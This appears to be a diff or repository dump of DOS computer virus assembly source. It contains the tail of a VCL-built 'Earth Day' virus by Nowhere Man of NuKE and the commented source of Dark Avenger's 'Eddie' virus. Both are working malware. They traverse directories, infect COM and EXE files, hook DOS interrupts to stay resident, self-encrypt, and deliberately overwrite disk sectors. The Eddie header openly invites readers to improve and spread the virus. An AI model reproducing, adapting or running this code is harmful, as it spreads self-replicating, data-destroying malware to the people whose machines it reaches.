pop bp ; Restore BP
|
||||
ret ; Return to caller
|
||||
root db "\",0 ; Root directory
|
||||
search_files endp
|
||||
traverse proc near
|
||||
push bp ; Save BP
|
||||
mov ah,02Fh ; DOS get DTA function
|
||||
int 021h
|
||||
push bx ; Save old DTA address
|
||||
mov bp,sp ; BP points to local buffer
|
||||
sub sp,128 ; Allocate 128 bytes on stack
|
||||
mov ah,01Ah ; DOS set DTA function
|
||||
lea dx,[bp - 128] ; DX points to buffer
|
||||
int 021h
|
||||
mov ah,04Eh ; DOS find first function
|
||||
mov cx,00010000b ; CX holds search attributes
|
||||
lea dx,[di + all_files] ; DX points to "*.*"
|
||||
int 021h
|
||||
jc leave_traverse ; Leave if no files present
|
||||
check_dir: cmp byte ptr [bp - 107],16 ; Is the file a directory?
|
||||
jne another_dir ; If not, try again
|
||||
cmp byte ptr [bp - 98],'.' ; Did we get a "." or ".."?
|
||||
je another_dir ;If so, keep going
|
||||
mov ah,03Bh ; DOS change directory function
|
||||
lea dx,[bp - 98] ; DX points to new directory
|
||||
int 021h
|
||||
call traverse ; Recursively call ourself
|
||||
pushf ; Save the flags
|
||||
mov ah,03Bh ; DOS change directory function
|
||||
lea dx,[di + up_dir] ; DX points to parent directory
|
||||
int 021h
|
||||
popf ; Restore the flags
|
||||
jnc done_searching ; If we infected then exit
|
||||
another_dir: mov ah,04Fh ; DOS find next function
|
||||
int 021h
|
||||
jnc check_dir ; If found check the file
|
||||
leave_traverse:
|
||||
lea dx,[di + com_mask] ; DX points to "*.COM"
|
||||
call find_files ; Try to infect a file
|
||||
done_searching: mov sp,bp ; Restore old stack frame
|
||||
mov ah,01Ah ; DOS set DTA function
|
||||
pop dx ; Retrieve old DTA address
|
||||
int 021h
|
||||
pop bp ; Restore BP
|
||||
ret ; Return to caller
|
||||
up_dir db "..",0 ; Parent directory name
|
||||
all_files db "*.*",0 ; Directories to search for
|
||||
com_mask db "*.COM",0 ; Mask for all .COM files
|
||||
traverse endp
|
||||
db 0E0h,049h,06Ch,01Bh,06Ch
|
||||
find_files proc near
|
||||
push bp ; Save BP
|
||||
mov ah,02Fh ; DOS get DTA function
|
||||
int 021h
|
||||
push bx ; Save old DTA address
|
||||
mov bp,sp ; BP points to local buffer
|
||||
sub sp,128 ; Allocate 128 bytes on stack
|
||||
push dx ; Save file mask
|
||||
mov ah,01Ah ; DOS set DTA function
|
||||
lea dx,[bp - 128] ; DX points to buffer
|
||||
int 021h
|
||||
mov ah,04Eh ; DOS find first file function
|
||||
mov cx,00100111b ; CX holds all file attributes
|
||||
pop dx ; Restore file mask
|
||||
find_a_file: int 021h
|
||||
jc done_finding ; Exit if no files found
|
||||
call infect_file ; Infect the file!
|
||||
jnc done_finding ; Exit if no error
|
||||
mov ah,04Fh ; DOS find next file function
|
||||
jmp short find_a_file ; Try finding another file
|
||||
done_finding: mov sp,bp ; Restore old stack frame
|
||||
mov ah,01Ah ; DOS set DTA function
|
||||
pop dx ; Retrieve old DTA address
|
||||
int 021h
|
||||
pop bp ; Restore BP
|
||||
ret ; Return to caller
|
||||
find_files endp
|
||||
db 00Ah,073h,01Fh,038h,054h
|
||||
infect_file proc near
|
||||
mov ah,02Fh ; DOS get DTA address function
|
||||
int 021h
|
||||
mov si,bx ; SI points to the DTA
|
||||
mov byte ptr [di + set_carry],0 ; Assume we'll fail
|
||||
cmp word ptr [si + 01Ah],(65279 - (finish - start))
|
||||
jbe size_ok ; If it's small enough continue
|
||||
jmp infection_done ; Otherwise exit
|
||||
size_ok: mov ax,03D00h ; DOS open file function, r/o
|
||||
lea dx,[si + 01Eh] ; DX points to file name
|
||||
int 021h
|
||||
xchg bx,ax ; BX holds file handle
|
||||
mov ah,03Fh ; DOS read from file function
|
||||
mov cx,3 ; CX holds bytes to read (3)
|
||||
lea dx,[di + buffer] ; DX points to buffer
|
||||
int 021h
|
||||
mov ax,04202h ; DOS file seek function, EOF
|
||||
cwd ; Zero DX _ Zero bytes from end
|
||||
mov cx,dx ; Zero CX /
|
||||
int 021h
|
||||
xchg dx,ax ; Faster than a PUSH AX
|
||||
mov ah,03Eh ; DOS close file function
|
||||
int 021h
|
||||
xchg dx,ax ; Faster than a POP AX
|
||||
sub ax,finish - start + 3 ; Adjust AX for a valid jump
|
||||
cmp word ptr [di + buffer + 1],ax ; Is there a JMP yet?
|
||||
je infection_done ; If equal then exit
|
||||
mov byte ptr [di + set_carry],1 ; Success -- the file is OK
|
||||
add ax,finish - start ; Re-adjust to make the jump
|
||||
mov word ptr [di + new_jump + 1],ax ; Construct jump
|
||||
mov ax,04301h ; DOS set file attrib. function
|
||||
xor cx,cx ; Clear all attributes
|
||||
lea dx,[si + 01Eh] ; DX points to victim's name
|
||||
int 021h
|
||||
mov ax,03D02h ; DOS open file function, r/w
|
||||
int 021h
|
||||
xchg bx,ax ; BX holds file handle
|
||||
mov ah,040h ; DOS write to file function
|
||||
mov cx,3 ; CX holds bytes to write (3)
|
||||
lea dx,[di + new_jump] ; DX points to the jump we made
|
||||
int 021h
|
||||
mov ax,04202h ; DOS file seek function, EOF
|
||||
cwd ; Zero DX _ Zero bytes from end
|
||||
mov cx,dx ; Zero CX /
|
||||
int 021h
|
||||
push si ; Save SI through call
|
||||
call encrypt_code ; Write an encrypted copy
|
||||
pop si ; Restore SI
|
||||
mov ax,05701h ; DOS set file time function
|
||||
mov cx,[si + 016h] ; CX holds old file time
|
||||
mov dx,[si + 018h] ; DX holds old file date
|
||||
int 021h
|
||||
mov ah,03Eh ; DOS close file function
|
||||
int 021h
|
||||
mov ax,04301h ; DOS set file attrib. function
|
||||
xor ch,ch ; Clear CH for file attribute
|
||||
mov cl,[si + 015h] ; CX holds file's old attributes
|
||||
lea dx,[si + 01Eh] ; DX points to victim's name
|
||||
int 021h
|
||||
infection_done: cmp byte ptr [di + set_carry],1 ; Set carry flag if failed
|
||||
ret ; Return to caller
|
||||
set_carry db ? ; Set-carry-on-exit flag
|
||||
buffer db 090h,0CDh,020h ; Buffer to hold old three bytes
|
||||
new_jump db 0E9h,?,? ; New jump to virus
|
||||
infect_file endp
|
||||
db 0D9h,095h,0B5h,0D7h,0D0h
|
||||
get_day proc near
|
||||
mov ah,02Ah ; DOS get date function
|
||||
int 021h
|
||||
mov al,dl ; Copy day into AL
|
||||
cbw ; Sign-extend AL into AX
|
||||
ret ; Return to caller
|
||||
get_day endp
|
||||
db 0F6h,028h,099h,0E1h,06Dh
|
||||
get_month proc near
|
||||
mov ah,02Ah ; DOS get date function
|
||||
int 021h
|
||||
mov al,dh ; Copy month into AL
|
||||
cbw ; Sign-extend AL into AX
|
||||
ret ; Return to caller
|
||||
get_month endp
|
||||
db 071h,021h,0B4h,033h,071h
|
||||
get_year proc near
|
||||
mov ah,02Ah ; DOS get date function
|
||||
int 021h
|
||||
xchg cx,ax ; Transfer the year into AX
|
||||
ret ; Return to caller
|
||||
get_year endp
|
||||
data00 db "Happy Earth Day!!!",13,10,13,10
|
||||
db "In the spirit of Earth Day,
|
||||
db "this VIRUS has recycled your hard disk.",13,10,0
|
||||
vcl_marker db "[VCL]",0 ; VCL creation marker
|
||||
note db "[Earth Day]",0
|
||||
db "Nowhere Man, [NuKE] '92",0
|
||||
encrypt_code proc near
|
||||
push bp ; Save BP
|
||||
mov bp,di ; Use BP as pointer to code
|
||||
lea si,[bp + encrypt_decrypt]; SI points to cipher routine
|
||||
xor ah,ah ; BIOS get time function
|
||||
int 01Ah
|
||||
mov word ptr [si + 9],dx ; Low word of timer is new key
|
||||
xor byte ptr [si + 1],8 ;
|
||||
xor byte ptr [si + 8],1 ; Change all SIs to DIs
|
||||
xor word ptr [si + 11],0101h; (and vice-versa)
|
||||
lea di,[bp + finish] ; Copy routine into heap
|
||||
mov cx,finish - encrypt_decrypt - 1 ; All but final RET
|
||||
push si ; Save SI for later
|
||||
push cx ; Save CX for later
|
||||
rep movsb ; Copy the bytes
|
||||
lea si,[bp + write_stuff] ; SI points to write stuff
|
||||
mov cx,5 ; CX holds length of write
|
||||
rep movsb ; Copy the bytes
|
||||
pop cx ; Restore CX
|
||||
pop si ; Restore SI
|
||||
inc cx ; Copy the RET also this time
|
||||
rep movsb ; Copy the routine again
|
||||
mov ah,040h ; DOS write to file function
|
||||
lea dx,[bp + start] ; DX points to virus
|
||||
lea si,[bp + finish] ; SI points to routine
|
||||
call si ; Encrypt/write/decrypt
|
||||
mov di,bp ; DI points to virus again
|
||||
pop bp ; Restore BP
|
||||
ret ; Return to caller
|
||||
write_stuff: mov cx,finish - start ; Length of code
|
||||
int 021h
|
||||
encrypt_code endp
|
||||
end_of_code label near
|
||||
encrypt_decrypt proc near
|
||||
lea si,[bp + start_of_code] ; SI points to code to decrypt
|
||||
mov cx,(end_of_code - start_of_code) / 2 ; CX holds length
|
||||
xor_loop: db 081h,034h,00h,00h ; XOR a word by the key
|
||||
inc si ; Do the next word
|
||||
inc si ;
|
||||
loop xor_loop ; Loop until we're through
|
||||
ret ; Return to caller
|
||||
encrypt_decrypt endp
|
||||
finish label near
|
||||
code ends
|
||||
end main
|
|
@ -0,0 +1,986 @@
|
|||
;************************
|
||||
;* *
|
||||
;* E D D I E *
|
||||
;* *
|
||||
;* by Dark Avenger *
|
||||
;* *
|
||||
;* 3-JAN-1989 *
|
||||
;* *
|
||||
;* version 1.31x *
|
||||
;* *
|
||||
;************************
|
||||
|
||||
; "Blessed is he who expects nothing, for he shall not be disappointed."
|
||||
|
||||
; The original source of one of the first Bulgarian viruses is in front of
|
||||
; you. As you may notice, it's full of rubbish and bugs, but nevertheless
|
||||
; the virus has spread surprisingly quickly throughout the country and made a
|
||||
; quick round the globe. (It's well-known in Eastern and Western Europe, as
|
||||
; well as in USA.) Due to the anniversary of its creation, the source is
|
||||
; distributed freely. You have the rights to distribute the source which can
|
||||
; be charged or free of charge, with the only condition not to modify it.
|
||||
; The one who intentionally distributes this source modified in any way will
|
||||
; be punished! Still, the author will be glad if any of you improves it and
|
||||
; spreads the resulting executive file (i.e., the virus itself). Pay
|
||||
; attention to the fact that after you assemble the source, the resulting
|
||||
; .COM file cannot be run. For that purpose you have to create a three byte
|
||||
; file, consisting of the hex numbers 0e9h, 68h, 0 and then to combine the
|
||||
; two files. Don't try to place a JMP at the beginning of the source.
|
||||
|
||||
; DISCLAIMER: The author does not take any responsability for any damage,
|
||||
; either direct or implied, caused by the usage or not of this source or of
|
||||
; the resulting code after assembly. No warranty is made about the product
|
||||
; functionability or quality.
|
||||
|
||||
; I cannot resist to express my special gratitude to my "populizer" Dipl.
|
||||
; eng. Vesselin Bontchev, who makes me famous and who, wishing it or
|
||||
; not, helps very much in the spreading of my viruses, in spite of the fact
|
||||
; that he tries to do just the opposite (writing programs in C has never
|
||||
; led to any good).
|
||||
; Greetings to all virus writers!
|
||||
|
||||
code segment
|
||||
assume cs:code,ds:code
|
||||
copyright:
|
||||
db 'Eddie lives...somewhere in time!',0
|
||||
date_stamp:
|
||||
dd 12239000h
|
||||
checksum:
|
||||
db 30
|
||||
|
||||
; Return the control to an .EXE file:
|
||||
; Restores DS=ES=PSP, loads SS:SP and CS:IP.
|
||||
|
||||
exit_exe:
|
||||
mov bx,es
|
||||
add bx,10h
|
||||
add bx,word ptr cs:[si+call_adr+2]
|
||||
mov word ptr cs:[si+patch+2],bx
|
||||
mov bx,word ptr cs:[si+call_adr]
|
||||
mov word ptr cs:[si+patch],bx
|
||||
mov bx,es
|
||||
add bx,10h
|
||||
add bx,word ptr cs:[si+stack_pointer+2]
|
||||
mov ss,bx
|
||||
mov sp,word ptr cs:[si+stack_pointer]
|
||||
db 0eah ;JMP XXXX:YYYY
|
||||
patch:
|
||||
dd 0
|
||||
|
||||
; Returns control to a .COM file:
|
||||
; Restores the first 3 bytes in the
|
||||
; beginning of the file, loads SP and IP.
|
||||
|
||||
exit_com:
|
||||
mov di,100h
|
||||
add si,offset my_save
|
||||
movsb
|
||||
movsw
|
||||
mov sp,ds:[6] ;This is incorrect
|
||||
xor bx,bx
|
||||
push bx
|
||||
jmp [si-11] ;si+call_adr-top_file
|
||||
|
||||
; Program entry point
|
||||
|
||||
startup:
|
||||
call relative
|
||||
relative:
|
||||
pop si ;SI = $
|
||||
sub si,offset relative
|
||||
cld
|
||||
cmp word ptr cs:[si+my_save],5a4dh
|
||||
je exe_ok
|
||||
cli
|
||||
mov sp,si ;A separate stack is supported for
|
||||
add sp,offset top_file+100h ;the .COM files, in order not to
|
||||
sti ;overlap the stack by the program
|
||||
cmp sp,ds:[6]
|
||||
jnc exit_com
|
||||
exe_ok:
|
||||
push ax
|
||||
push es
|
||||
push si
|
||||
push ds
|
||||
mov di,si
|
||||
|
||||
; Looking for the address of INT 13h handler in ROM-BIOS
|
||||
|
||||
xor ax,ax
|
||||
push ax
|
||||
mov ds,ax
|
||||
les ax,ds:[13h*4]
|
||||
mov word ptr cs:[si+fdisk],ax
|
||||
mov word ptr cs:[si+fdisk+2],es
|
||||
mov word ptr cs:[si+disk],ax
|
||||
mov word ptr cs:[si+disk+2],es
|
||||
mov ax,ds:[40h*4+2] ;The INT 13h vector is moved to INT 40h
|
||||
cmp ax,0f000h ;for diskettes if a hard disk is
|
||||
jne nofdisk ;available
|
||||
mov word ptr cs:[si+disk+2],ax
|
||||
mov ax,ds:[40h*4]
|
||||
mov word ptr cs:[si+disk],ax
|
||||
mov dl,80h
|
||||
mov ax,ds:[41h*4+2] ;INT 41h usually points to the segment,
|
||||
cmp ax,0f000h ;where the original INT 13h vector is
|
||||
je isfdisk
|
||||
cmp ah,0c8h
|
||||
jc nofdisk
|
||||
cmp ah,0f4h
|
||||
jnc nofdisk
|
||||
test al,7fh
|
||||
jnz nofdisk
|
||||
mov ds,ax
|
||||
cmp ds:[0],0aa55h
|
||||
jne nofdisk
|
||||
mov dl,ds:[2]
|
||||
isfdisk:
|
||||
mov ds,ax
|
||||
xor dh,dh
|
||||
mov cl,9
|
||||
shl dx,cl
|
||||
mov cx,dx
|
||||
xor si,si
|
||||
findvect:
|
||||
lodsw ;Occasionally begins with:
|
||||
cmp ax,0fa80h ; CMP DL,80h
|
||||
jne altchk ; JNC somewhere
|
||||
lodsw
|
||||
cmp ax,7380h
|
||||
je intchk
|
||||
jne nxt0
|
||||
altchk:
|
||||
cmp ax,0c2f6h ;or with:
|
||||
jne nxt ; TEST DL,80h
|
||||
lodsw ; JNZ somewhere
|
||||
cmp ax,7580h
|
||||
jne nxt0
|
||||
intchk:
|
||||
inc si ;then there is:
|
||||
lodsw ; INT 40h
|
||||
cmp ax,40cdh
|
||||
je found
|
||||
sub si,3
|
||||
nxt0:
|
||||
dec si
|
||||
dec si
|
||||
nxt:
|
||||
dec si
|
||||
loop findvect
|
||||
jmp short nofdisk
|
||||
found:
|
||||
sub si,7
|
||||
mov word ptr cs:[di+fdisk],si
|
||||
mov word ptr cs:[di+fdisk+2],ds
|
||||
nofdisk:
|
||||
mov si,di
|
||||
pop ds
|
||||
|
||||
; Check for program is present in memory:
|
||||
|
||||
les ax,ds:[21h*4]
|
||||
mov word ptr cs:[si+save_int_21],ax
|
||||
mov word ptr cs:[si+save_int_21+2],es
|
||||
push cs
|
||||
pop ds
|
||||
cmp ax,offset int_21
|
||||
jne bad_func
|
||||
xor di,di
|
||||
mov cx,offset my_size
|
||||
scan_func:
|
||||
lodsb
|
||||
scasb
|
||||
jne bad_func
|
||||
loop scan_func
|
||||
pop es
|
||||
jmp go_program
|
||||
|
||||
; Move the program to the top of memory:
|
||||
; (it's full of rubbish and bugs here)
|
||||
|
||||
bad_func:
|
||||
pop es
|
||||
mov ah,49h
|
||||
int 21h
|
||||
mov bx,0ffffh
|
||||
mov ah,48h
|
||||
int 21h
|
||||
sub bx,(top_bz+my_bz+1ch-1)/16+2
|
||||
jc go_program
|
||||
mov cx,es
|
||||
stc
|
||||
adc cx,bx
|
||||
mov ah,4ah
|
||||
int 21h
|
||||
mov bx,(offset top_bz+offset my_bz+1ch-1)/16+1
|
||||
stc
|
||||
sbb es:[2],bx
|
||||
push es
|
||||
mov es,cx
|
||||
mov ah,4ah
|
||||
int 21h
|
||||
mov ax,es
|
||||
dec ax
|
||||
mov ds,ax
|
||||
mov word ptr ds:[1],8
|
||||
call mul_16
|
||||
mov bx,ax
|
||||
mov cx,dx
|
||||
pop ds
|
||||
mov ax,ds
|
||||
call mul_16
|
||||
add ax,ds:[6]
|
||||
adc dx,0
|
||||
sub ax,bx
|
||||
sbb dx,cx
|
||||
jc mem_ok
|
||||
sub ds:[6],ax ;Reduction of the segment size
|
||||
mem_ok:
|
||||
pop si
|
||||
push si
|
||||
push ds
|
||||
push cs
|
||||
xor di,di
|
||||
mov ds,di
|
||||
lds ax,ds:[27h*4]
|
||||
mov word ptr cs:[si+save_int_27],ax
|
||||
mov word ptr cs:[si+save_int_27+2],ds
|
||||
pop ds
|
||||
mov cx,offset aux_size
|
||||
rep movsb
|
||||
xor ax,ax
|
||||
mov ds,ax
|
||||
mov ds:[21h*4],offset int_21;Intercept INT 21h and INT 27h
|
||||
mov ds:[21h*4+2],es
|
||||
mov ds:[27h*4],offset int_27
|
||||
mov ds:[27h*4+2],es
|
||||
mov word ptr es:[filehndl],ax
|
||||
pop es
|
||||
go_program:
|
||||
pop si
|
||||
|
||||
; Smash the next disk sector:
|
||||
|
||||
xor ax,ax
|
||||
mov ds,ax
|
||||
mov ax,ds:[13h*4]
|
||||
mov word ptr cs:[si+save_int_13],ax
|
||||
mov ax,ds:[13h*4+2]
|
||||
mov word ptr cs:[si+save_int_13+2],ax
|
||||
mov ds:[13h*4],offset int_13
|
||||
add ds:[13h*4],si
|
||||
mov ds:[13h*4+2],cs
|
||||
pop ds
|
||||
push ds
|
||||
push si
|
||||
mov bx,si
|
||||
lds ax,ds:[2ah]
|
||||
xor si,si
|
||||
mov dx,si
|
||||
scan_envir: ;Fetch program's name
|
||||
lodsw ;(with DOS 2.x it doesn't work anyway)
|
||||
dec si
|
||||
test ax,ax
|
||||
jnz scan_envir
|
||||
add si,3
|
||||
lodsb
|
||||
|
||||
; The following instruction is complete nonsense. Try to enter a drive &
|
||||
; directory path in lowercase, then run an infected program from there.
|
||||
; As a result of an error here and an error in DOS the next sector is not
|
||||
; smashed. Two memory bytes are smashed instead, most probably onto the
|
||||
; infected program.
|
||||
|
||||
sub al,'A'
|
||||
mov cx,1
|
||||
push cs
|
||||
pop ds
|
||||
add bx,offset int_27
|
||||
push ax
|
||||
push bx
|
||||
push cx
|
||||
int 25h
|
||||
pop ax
|
||||
pop cx
|
||||
pop bx
|
||||
inc byte ptr [bx+0ah]
|
||||
and byte ptr [bx+0ah],0fh ;It seems that 15 times doing
|
||||
jnz store_sec ;nothing is not enough for some.
|
||||
mov al,[bx+10h]
|
||||
xor ah,ah
|
||||
mul word ptr [bx+16h]
|
||||
add ax,[bx+0eh]
|
||||
push ax
|
||||
mov ax,[bx+11h]
|
||||
mov dx,32
|
||||
mul dx
|
||||
div word ptr [bx+0bh]
|
||||
pop dx
|
||||
add dx,ax
|
||||
mov ax,[bx+8]
|
||||
add ax,40h
|
||||
cmp ax,[bx+13h]
|
||||
jc store_new
|
||||
inc ax
|
||||
and ax,3fh
|
||||
add ax,dx
|
||||
cmp ax,[bx+13h]
|
||||
jnc small_disk
|
||||
store_new:
|
||||
mov [bx+8],ax
|
||||
store_sec:
|
||||
pop ax
|
||||
xor dx,dx
|
||||
push ax
|
||||
push bx
|
||||
push cx
|
||||
int 26h
|
||||
|
||||
; The writing through this interrupt is not the smartest thing, because it
|
||||
; can be intercepted (what Vesselin Bontchev has managed to notice).
|
||||
|
||||
pop ax
|
||||
pop cx
|
||||
pop bx
|
||||
pop ax
|
||||
cmp byte ptr [bx+0ah],0
|
||||
jne not_now
|
||||
mov dx,[bx+8]
|
||||
pop bx
|
||||
push bx
|
||||
int 26h
|
||||
small_disk:
|
||||
pop ax
|
||||
not_now:
|
||||
pop si
|
||||
xor ax,ax
|
||||
mov ds,ax
|
||||
mov ax,word ptr cs:[si+save_int_13]
|
||||
mov ds:[13h*4],ax
|
||||
mov ax,word ptr cs:[si+save_int_13+2]
|
||||
mov ds:[13h*4+2],ax
|
||||
pop ds
|
||||
pop ax
|
||||
cmp word ptr cs:[si+my_save],5a4dh
|
||||
jne go_exit_com
|
||||
jmp exit_exe
|
||||
go_exit_com:
|
||||
jmp exit_com
|
||||
int_24:
|
||||
mov al,3 ;This instruction seems unnecessary
|
||||
iret
|
||||
|
||||
; INT 27h handler (this is necessary)
|
||||
|
||||
int_27:
|
||||
pushf
|
||||
call alloc
|
||||
popf
|
||||
jmp dword ptr cs:[save_int_27]
|
||||
|
||||
; During the DOS functions Set & Get Vector it seems that the virus has not
|
||||
; intercepted them (this is a doubtful advantage and it is a possible
|
||||
; source of errors with some "intelligent" programs)
|
||||
|
||||
set_int_27:
|
||||
mov word ptr cs:[save_int_27],dx
|
||||
mov word ptr cs:[save_int_27+2],ds
|
||||
popf
|
||||
iret
|
||||
set_int_21:
|
||||
mov word ptr cs:[save_int_21],dx
|
||||
mov word ptr cs:[save_int_21+2],ds
|
||||
popf
|
||||
iret
|
||||
get_int_27:
|
||||
les bx,dword ptr cs:[save_int_27]
|
||||
popf
|
||||
iret
|
||||
get_int_21:
|
||||
les bx,dword ptr cs:[save_int_21]
|
||||
popf
|
||||
iret
|
||||
|
||||
exec:
|
||||
call do_file
|
||||
call alloc
|
||||
popf
|
||||
jmp dword ptr cs:[save_int_21]
|
||||
|
||||
db 'Diana P.',0
|
||||
|
||||
; INT 21h handler. Infects files during execution, copying, browsing or
|
||||
; creating and some other operations. The execution of functions 0 and 26h
|
||||
; has bad consequences.
|
||||
|
||||
int_21:
|
||||
push bp
|
||||
mov bp,sp
|
||||
push [bp+6]
|
||||
popf
|
||||
pop bp
|
||||
pushf
|
||||
call ontop
|
||||
cmp ax,2521h
|
||||
je set_int_21
|
||||
cmp ax,2527h
|
||||
je set_int_27
|
||||
cmp ax,3521h
|
||||
je get_int_21
|
||||
cmp ax,3527h
|
||||
je get_int_27
|
||||
cld
|
||||
cmp ax,4b00h
|
||||
je exec
|
||||
cmp ah,3ch
|
||||
je create
|
||||
cmp ah,3eh
|
||||
je close
|
||||
cmp ah,5bh
|
||||
jne not_create
|
||||
create:
|
||||
cmp word ptr cs:[filehndl],0;May be 0 if the file is open
|
||||
jne dont_touch
|
||||
call see_name
|
||||
jnz dont_touch
|
||||
call alloc
|
||||
popf
|
||||
call function
|
||||
jc int_exit
|
||||
pushf
|
||||
push es
|
||||
push cs
|
||||
pop es
|
||||
push si
|
||||
push di
|
||||
push cx
|
||||
push ax
|
||||
mov di,offset filehndl
|
||||
stosw
|
||||
mov si,dx
|
||||
mov cx,65
|
||||
move_name:
|
||||
lodsb
|
||||
stosb
|
||||
test al,al
|
||||
jz all_ok
|
||||
loop move_name
|
||||
mov word ptr es:[filehndl],cx
|
||||
all_ok:
|
||||
pop ax
|
||||
pop cx
|
||||
pop di
|
||||
pop si
|
||||
pop es
|
||||
go_exit:
|
||||
popf
|
||||
jnc int_exit ;JMP
|
||||
close:
|
||||
cmp bx,word ptr cs:[filehndl]
|
||||
jne dont_touch
|
||||
test bx,bx
|
||||
jz dont_touch
|
||||
call alloc
|
||||
popf
|
||||
call function
|
||||
jc int_exit
|
||||
pushf
|
||||
push ds
|
||||
push cs
|
||||
pop ds
|
||||
push dx
|
||||
mov dx,offset filehndl+2
|
||||
call do_file
|
||||
mov word ptr cs:[filehndl],0
|
||||
pop dx
|
||||
pop ds
|
||||
jmp go_exit
|
||||
not_create:
|
||||
cmp ah,3dh
|
||||
je touch
|
||||
cmp ah,43h
|
||||
je touch
|
||||
cmp ah,56h ;Unfortunately, the command inter-
|
||||
jne dont_touch ;preter does not use this function
|
||||
touch:
|
||||
call see_name
|
||||
jnz dont_touch
|
||||
call do_file
|
||||
dont_touch:
|
||||
call alloc
|
||||
popf
|
||||
call function
|
||||
int_exit:
|
||||
pushf
|
||||
push ds
|
||||
call get_chain
|
||||
mov byte ptr ds:[0],'Z'
|
||||
pop ds
|
||||
popf
|
||||
dummy proc far ;???
|
||||
ret 2
|
||||
dummy endp
|
||||
|
||||
; Checks whether the file is .COM or .EXE.
|
||||
; It is not called upon file execution.
|
||||
|
||||
see_name:
|
||||
push ax
|
||||
push si
|
||||
mov si,dx
|
||||
scan_name:
|
||||
lodsb
|
||||
test al,al
|
||||
jz bad_name
|
||||
cmp al,'.'
|
||||
jnz scan_name
|
||||
call get_byte
|
||||
mov ah,al
|
||||
call get_byte
|
||||
cmp ax,'co'
|
||||
jz pos_com
|
||||
cmp ax,'ex'
|
||||
jnz good_name
|
||||
call get_byte
|
||||
cmp al,'e'
|
||||
jmp short good_name
|
||||
pos_com:
|
||||
call get_byte
|
||||
cmp al,'m'
|
||||
jmp short good_name
|
||||
bad_name:
|
||||
inc al
|
||||
good_name:
|
||||
pop si
|
||||
pop ax
|
||||
ret
|
||||
|
||||
; Converts into lowercase (the subroutines are a great thing).
|
||||
|
||||
get_byte:
|
||||
lodsb
|
||||
cmp al,'C'
|
||||
jc byte_got
|
||||
cmp al,'Y'
|
||||
jnc byte_got
|
||||
add al,20h
|
||||
byte_got:
|
||||
ret
|
||||
|
||||
; Calls the original INT 21h.
|
||||
|
||||
function:
|
||||
pushf
|
||||
call dword ptr cs:[save_int_21]
|
||||
ret
|
||||
|
||||
; Arrange to infect an executable file.
|
||||
|
||||
do_file:
|
||||
push ds ;Save the registers in stack
|
||||
push es
|
||||
push si
|
||||
push di
|
||||
push ax
|
||||
push bx
|
||||
push cx
|
||||
push dx
|
||||
mov si,ds
|
||||
xor ax,ax
|
||||
mov ds,ax
|
||||
les ax,ds:[24h*4] ;Saves INT 13h and INT 24h in stack
|
||||
push es ;and changes them with what is needed
|
||||
push ax
|
||||
mov ds:[24h*4],offset int_24
|
||||
mov ds:[24h*4+2],cs
|
||||
les ax,ds:[13h*4]
|
||||
mov word ptr cs:[save_int_13],ax
|
||||
mov word ptr cs:[save_int_13+2],es
|
||||
mov ds:[13h*4],offset int_13
|
||||
mov ds:[13h*4+2],cs
|
||||
push es
|
||||
push ax
|
||||
mov ds,si
|
||||
xor cx,cx ;Arranges to infect Read-only files
|
||||
mov ax,4300h
|
||||
call function
|
||||
mov bx,cx
|
||||
and cl,0feh
|
||||
cmp cl,bl
|
||||
je dont_change
|
||||
mov ax,4301h
|
||||
call function
|
||||
stc
|
||||
dont_change:
|
||||
pushf
|
||||
push ds
|
||||
push dx
|
||||
push bx
|
||||
mov ax,3d02h ;Now we can safely open the file
|
||||
call function
|
||||
jc cant_open
|
||||
mov bx,ax
|
||||
call disease
|
||||
mov ah,3eh ;Close it
|
||||
|
||||
call function
|
||||
cant_open:
|
||||
pop cx
|
||||
pop dx
|
||||
pop ds
|
||||
popf
|
||||
jnc no_update
|
||||
mov ax,4301h ;Restores file's attributes
|
||||
call function ;if they were changed (just in case)
|
||||
no_update:
|
||||
xor ax,ax ;Restores INT 13h and INT 24h
|
||||
mov ds,ax
|
||||
pop ds:[13h*4]
|
||||
pop ds:[13h*4+2]
|
||||
pop ds:[24h*4]
|
||||
pop ds:[24h*4+2]
|
||||
pop dx ;Register restoration
|
||||
pop cx
|
||||
pop bx
|
||||
pop ax
|
||||
pop di
|
||||
pop si
|
||||
pop es
|
||||
pop ds
|
||||
ret
|
||||
|
||||
; This routine is the working horse.
|
||||
|
||||
disease:
|
||||
push cs
|
||||
pop ds
|
||||
push cs
|
||||
pop es
|
||||
mov dx,offset top_save ;Read the file beginning
|
||||
mov cx,18h
|
||||
mov ah,3fh
|
||||
int 21h
|
||||
xor cx,cx
|
||||
xor dx,dx
|
||||
mov ax,4202h ;Save file length
|
||||
int 21h
|
||||
mov word ptr [top_save+1ah],dx
|
||||
cmp ax,offset my_size ;This should be top_file
|
||||
sbb dx,0
|
||||
jc stop_fuck_2 ;Small files are not infected
|
||||
mov word ptr [top_save+18h],ax
|
||||
cmp word ptr [top_save],5a4dh
|
||||
jne com_file
|
||||
mov ax,word ptr [top_save+8]
|
||||
add ax,word ptr [top_save+16h]
|
||||
call mul_16
|
||||
add ax,word ptr [top_save+14h]
|
||||
adc dx,0
|
||||
mov cx,dx
|
||||
mov dx,ax
|
||||
jmp short see_sick
|
||||
com_file:
|
||||
cmp byte ptr [top_save],0e9h
|
||||
jne see_fuck
|
||||
mov dx,word ptr [top_save+1]
|
||||
add dx,103h
|
||||
jc see_fuck
|
||||
dec dh
|
||||
xor cx,cx
|
||||
|
||||
; Check if the file is properly infected
|
||||
|
||||
see_sick:
|
||||
sub dx,startup-copyright
|
||||
sbb cx,0
|
||||
mov ax,4200h
|
||||
int 21h
|
||||
add ax,offset top_file
|
||||
adc dx,0
|
||||
cmp ax,word ptr [top_save+18h]
|
||||
jne see_fuck
|
||||
cmp dx,word ptr [top_save+1ah]
|
||||
jne see_fuck
|
||||
mov dx,offset top_save+1ch
|
||||
mov si,dx
|
||||
mov cx,offset my_size
|
||||
mov ah,3fh
|
||||
int 21h
|
||||
jc see_fuck
|
||||
cmp cx,ax
|
||||
jne see_fuck
|
||||
xor di,di
|
||||
next_byte:
|
||||
|
||||
lodsb
|
||||
scasb
|
||||
jne see_fuck
|
||||
loop next_byte
|
||||
stop_fuck_2:
|
||||
ret
|
||||
see_fuck:
|
||||
xor cx,cx ;Seek to the end of file
|
||||
xor dx,dx
|
||||
mov ax,4202h
|
||||
int 21h
|
||||
cmp word ptr [top_save],5a4dh
|
||||
je fuck_exe
|
||||
add ax,offset aux_size+200h ;Watch out for too big .COM files
|
||||
adc dx,0
|
||||
je fuck_it
|
||||
ret
|
||||
|
||||
; Pad .EXE files to paragraph boundary. This is absolutely unnecessary.
|
||||
|
||||
fuck_exe:
|
